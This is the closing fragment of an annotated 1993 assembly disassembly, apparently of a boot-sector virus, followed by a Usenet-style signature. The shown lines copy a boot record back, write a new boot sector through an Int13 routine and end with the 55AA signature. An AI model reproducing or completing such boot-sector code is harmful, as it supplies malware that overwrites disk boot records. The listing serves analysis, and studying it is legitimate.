  632.         MOV     CX,01E0h                ;002F3  B9E001  |cx=01E0h si=001Eh
  633.         REP     MOVSB                   ;002F6  F3A4    |Move DS:SI to ES:DI
  634.                                         ;               |Restore boot record
  635.                                         ;               | from ofs 7C00:001E
  636.                                         ;               | Note initial jump
  637.                                         ;               | restored to EB 1C.
  638.         POP     CX                      ;002F8  59      |CX=number of sectors
  639.         CALL    Setup_Int13             ;002F9  E8E7FE  |Write the new boot
  640.                                         ;               | record.
  641.         JMP     Short Read_New_Boot     ;002FC  EB83    |Read it and process.
  642. ;---------------------------------------;---------------------------------
  643. Boot_ID DW      0AA55h                  ;002FE  55AA    |All valid boot
  644.                                         ;               | sectors end with
  645.                                         ;               | 55AA
  646.         ENDS                            ;---------------------------------
  647.                                         ; Disassembly by Arthur Ellis and ??
  648.         END     Boot_Start              ; [Suggestions by Lucifer Messiah]
  649.                                         ; April, 1993
  650. ;-------------------------------------------------------------------------
  651.  
  652.  
  653.  
  654. --
  655. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  656. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  657. Student at the Northeatstern University College of Computer Science 
  658. "I Can't Believe It's Not Butter"
  659.  
  660.